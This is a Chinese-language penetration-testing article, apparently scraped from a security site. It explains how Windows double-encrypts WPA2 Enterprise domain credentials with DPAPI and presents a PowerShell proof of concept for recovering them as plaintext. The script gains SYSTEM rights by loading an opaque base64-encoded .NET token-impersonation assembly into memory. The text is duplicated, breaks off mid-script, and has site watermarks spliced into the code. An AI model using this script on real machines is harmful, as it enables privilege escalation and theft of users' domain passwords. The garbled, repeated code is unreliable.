内网渗透技术之从WPA2企业版无线网络中导出用户明文域密码

在这篇文章中，我将分享并解释我从研究Windows如何存储WPA2 Enterprise凭证中学到的东西。
这项研究让我开发了一款能够将凭证恢复明文的工具！在入侵无线接入点中使用了此类身份验证的AD工作站时，这款工具就很有用。
WPA2 PSK和WPA2 企业版在凭证存储方面的差异
要查看WPA2 PSK密码，不需要管理员权限甚至提权过程，但对于WPA2 Enterprise，则需要管理员权限。因为WPA2 Enterprise是使用SYSTEM 的 DPAPI密钥加密的，只有SYSTEM用户才能对其进行解密。因此，我们需要拥有本地管理员权限。
首次登录WPA2企业版无线网络时，DPAPI（数据保护API）使用CURRENT USER加密密钥加密用于连接到AP的域密码。此加密的结果将再次加密，但这一次使用的是SYSTEM加密密钥，同时会加密用于登录AP的域名和用户名。
使用当前用户的DPAPI密钥解密数据的函数是这个。
解密过程是这样的：
1.AP通过用户输入的凭证告诉计算机登录成功。
2.用户使用DPAPI密钥加密密码。
3.SYSTEM使用DPAPI密钥加密域和用户名以及步骤2的加密结果。
4.SYSTEM将数据存储到HKCU注册表配置单元。
如何解密凭证信息？
只需要进行相反的操作就行了。
1.从HKCU注册表配置单元获取数据。
2.切换到SYSTEM并解密第一层，这一步会解密出域名称和用户名信息。
3.使用RevertToSelf()还原到USER。
4.从第2步解密结果中获取明文密码数据。
POC代码
上面的理论分析足够清晰了。现在我需要导出自己的凭证。
我在网上找到的所有代码示例都是使用PsExec来获取SYSTEM用户权限的shell。我不喜欢这种方法，并且我想要的是一种不需要依赖于任何外部工具（例如SysInternals工具）而创建的顺畅体验。所以我选择使用来自我之前写的文章“ 如何获取SYSTEM用户权限 – 第2部分 ”中描述的Token Impersonation方法，因为到目前为止这种依旧有效并且只依赖于PowerShell。
完整的PowerShell脚本代码如下：
function Get-String
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [byte[]]$InputStream
    )
    [byte[]]$Output = @();
    foreach($byte in $InputStream)
    {
        if($byte -eq 0)
        {
            return $Output
        } else {
            $Output += $byte
        }
       
    }
}
function Get-System
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA')
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }
    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGTDJOgAAAAAAAAAAOAAIiALATAAABYAAAAGAAAAAAAAtjQAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGE0AABPAAAAAEAAANgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACoMwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAvBQAAAAgAAAAFgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANgDAAAAQAAAAAQAAAAYAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAHAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACVNAAAAAAAAEgAAAACAAUAhCMAACQQAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwATAAAAAQAAEQADFgJvEAAACigCAAAGCisABioAEzADANAAAAACAAARABIB/hUEAAACKAgAAAYMCH4RAAAKKBIAAAoTBREFLAgWEwY4pQAAAAh+CQAABBIDKAQAAAYW/gETBxEHLAgWEwY4hwAAABQCEgEoAQAABhb+ARMIEQgsBRYTBitwEgn+FQYAAAISCReNAwAAAn0eAAAEEgl+HQAABH0cAAAEEgkXfRsAAAQRCRMEEQR7HgAABBaPAwAAAgd9EQAABBEEex4AAAQWjwMAAAIYfRIAAAQJEgQSACgJAAAGFv4BEwoRCiwFFhMGKwUGEwYrABEGKhMwBgDGAAAAAwAAEQASAP4VBAAAAigIAAAGCwd+CQAABH4LAAAEYBICKAQAAAYW/gETBxEHLAgWEwg4kAAAABQCEgAoAQAABhb+ARMJEQksBRYTCCt5Egr+FQMAAAISCgZ9EQAABBIKGH0SAAAEEQoNEgv+FQUAAAISCxd9GQAABBILF40DAAACfRoAAAQRCxMEEQR7GgAABBYJpAMAAAISBf4VBQAAAggWEgQRBCgBAAArEgUSBigHAAAGFv4BEwwRDCwFFhMIKwUXEwgrABEIKgAAEzADAIMAAAAEAAARACAABAAAFwIoAgAABgoGfhEAAAooEgAACg0JLAUWEwQrXgZ+CAAABH4HAAAEYBIBKAQAAAYW/gETBREFLAUWEwQrPRIC/hUVAAABBxgSAigFAAAGFv4BEwYRBiwFFhMEKx5+EQAACggoBgAABhb+ARMHEQcsBRYTBCsFFxMEKwARBCoiAigUAAAKACoTMAIAtgAAAAAAAAAgAAQAAIACAAAEGIADAAAEIAAADwCABAAABCAAAAIAgAUAAAQXgAYAAAQYgAcAAAQagAgAAAQegAkAAAQfEIAKAAAEHyCACwAABB9AgAwAAAQggAAAAIANAAAEIAABAACADgAABH4FAAAEfgkAAARggA8AAAR+BAAABH4GAAAEYH4HAAAEYH4IAAAEYH4JAAAEYH4KAAAEYH4LAAAEYH4MAAAEYH4NAAAEYH4OAAAEYIAQAAAEKh4XgB0AAAQqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAADQBQAAI34AADwGAAC8BwAAI1N0cmluZ3MAAAAA+A0AAAQAAAAjVVMA/A0AABAAAAAjR1VJRAAAAAwOAAAYAgAAI0Jsb2IAAAAAAAAAAgAAAVc9AhQJCgAAAPoBMwAWAAABAAAAFgAAAAcAAAAsAAAADwAAAB4AAAAUAAAAEgAAAA8AAAAFAAAABAAAAAIAAAAIAAAAAQAAAAIAAAAFAAAAAQAAAAAANgUBAAAAAAAGAC4EfQYGAJsEfQYGAFMDSwYPAJ0GAAAGAHsDIAYGAAIEIAYGAOMDIAYGAIIEIAYGAE4EIAYGAGcEIAYGAJIDIAYGAGcDXgYGAEUDXgYGAMYDIAYGAK0D4QQGAH4HWAUKAHYHSwYGAAcDWAUGAB8EWAUGAF8FWAUGAEQGWAUGABAFXgYAAAAAAQAAAAAAAQABAAEAEACJBQoFQQABAAEACgEQADQBAABJABEADwAKARAAhAAAAEkAFwAPAAoBEAALAQAASQAZAA8ACgEQAIoBAABJABsADwACAQAAHQcAAFEAHwAQAFGAzQHCABYA8QDFABYAKgDFABYAPwDFABYAFQDFABYA2wHFABYAnADFABYArADFABYADALFABYAiQDFABYAHAHFABYASAHFABYAmAHFABYAbQDFABYACgDFABYAXAHFAAYAgALIAAYA6gbFAFaArQHFAFaAKgDFAFaAWADFAFaAbQHFAAYApgfFAAYAnQfCAAYAjgfCAAYQ3wbMAAYAjgfFAAYAUAXFABYA8AHFAAYQiwLMAAYGGALFAFaAGAXRAFaAEQPRAFaAWgLRAFaACQbRAFaASALRAFaAMgPRAFaAlQLRAFaAUgfRAFaAIALRAFaA6QXRAFaA+AXRAFaA0QXRAFaAzgTRAAAAAACAAJEguQTVAAEAAAAAAIAAliBgB94ABABQIAAAAACWAGAH5gAHAAAAAACAAJEgtAXuAAkAAAAAAIAAliBzBfYADQAAAAAAgACRIGQFNgAQAAAAAACAAJEg1Ab+ABIAAAAAAIAAkSBsBw0BGQAAAAAAgACWIPsEEQEZAHAgAAAAAJYAZwIbARwATCEAAAAAlgCFAhsBHQAgIgAAAACWAJwFIAEeAK8iAAAAAIYYNwYGAB8AuCIAAAAAkRg9BiUBHwB6IwAAAACRGD0GJQEfAAAAAQDzAgAAAgAAAwIAAwB+AgAAAQBEBwAAAgDkAgAAAwA+AgAAAQAyAgAAAgAwBwAgAAAAAAAAAQDWAgAAAgA2BwIAAwDCAgAAAQC6AgAAAgC+AAAAAwClAgAAAQDOAgAAAgCCBQAgAAAAAAAAAQDCAgAgAgC/BgAAAwApAwAABAAJBwAABQAbAwIABgD1BgAAAQDFBQAAAgCsBgIAAwCFBwAAAQCLAgAAAQCLAgAAAQB6AgkANwYBABEANwYGABkANwYKACkANwYQADEANwYQADkANwYQAEEANwYQAEkANwYQAFEANwYQAFkANwYQAGEANwYVAGkANwYQAHEANwYQAHkANwYQAJkANwYGAIkANwIeAKkAMgYzAKkArgc2ALEA2gRSAIEANwYGAAgABAByAAkATAByAAkAUAB3AAkAVAB8AAkAWACBAAkAgACGAAkAhAByAAkAiAB3AAkAjACLAAkAkACQAAkAlACVAAkAmACaAAkAnACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null

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在这篇文章中，我将分享并解释我从研究Windows如何存储WPA2 Enterprise凭证中学到的东西。
这项研究让我开发了一款能够将凭证恢复明文的工具！在入侵无线接入点中使用了此类身份验证的AD工作站时，这款工具就很有用。
WPA2 PSK和WPA2 企业版在凭证存储方面的差异
要查看WPA2 PSK密码，不需要管理员权限甚至提权过程，但对于WPA2 Enterprise，则需要管理员权限。因为WPA2 Enterprise是使用SYSTEM 的 DPAPI密钥加密的，只有SYSTEM用户才能对其进行解密。因此，我们需要拥有本地管理员权限。
首次登录WPA2企业版无线网络时，DPAPI（数据保护API）使用CURRENT USER加密密钥加密用于连接到AP的域密码。此加密的结果将再次加密，但这一次使用的是SYSTEM加密密钥，同时会加密用于登录AP的域名和用户名。
使用当前用户的DPAPI密钥解密数据的函数是这个。
解密过程是这样的：
1.AP通过用户输入的凭证告诉计算机登录成功。
2.用户使用DPAPI密钥加密密码。
3.SYSTEM使用DPAPI密钥加密域和用户名以及步骤2的加密结果。
4.SYSTEM将数据存储到HKCU注册表配置单元。
如何解密凭证信息？
只需要进行相反的操作就行了。 内容来自无奈安全网
1.从HKCU注册表配置单元获取数据。
2.切换到SYSTEM并解密第一层，这一步会解密出域名称和用户名信息。
3.使用RevertToSelf()还原到USER。
4.从第2步解密结果中获取明文密码数据。
POC代码
上面的理论分析足够清晰了。现在我需要导出自己的凭证。
我在网上找到的所有代码示例都是使用PsExec来获取SYSTEM用户权限的shell。我不喜欢这种方法，并且我想要的是一种不需要依赖于任何外部工具（例如SysInternals工具）而创建的顺畅体验。所以我选择使用来自我之前写的文章“ 如何获取SYSTEM用户权限 – 第2部分 ”中描述的Token Impersonation方法，因为到目前为止这种依旧有效并且只依赖于PowerShell。
完整的PowerShell脚本代码如下：
function Get-String
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [byte[]]$InputStream
    )
    [byte[]]$Output = @();
    foreach($byte in $InputStream)
    {
        if($byte -eq 0) 无奈人生安全网
        {
            return $Output
        } else {
            $Output += $byte
        }
       
    }
}
function Get-System
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA')
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }
    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        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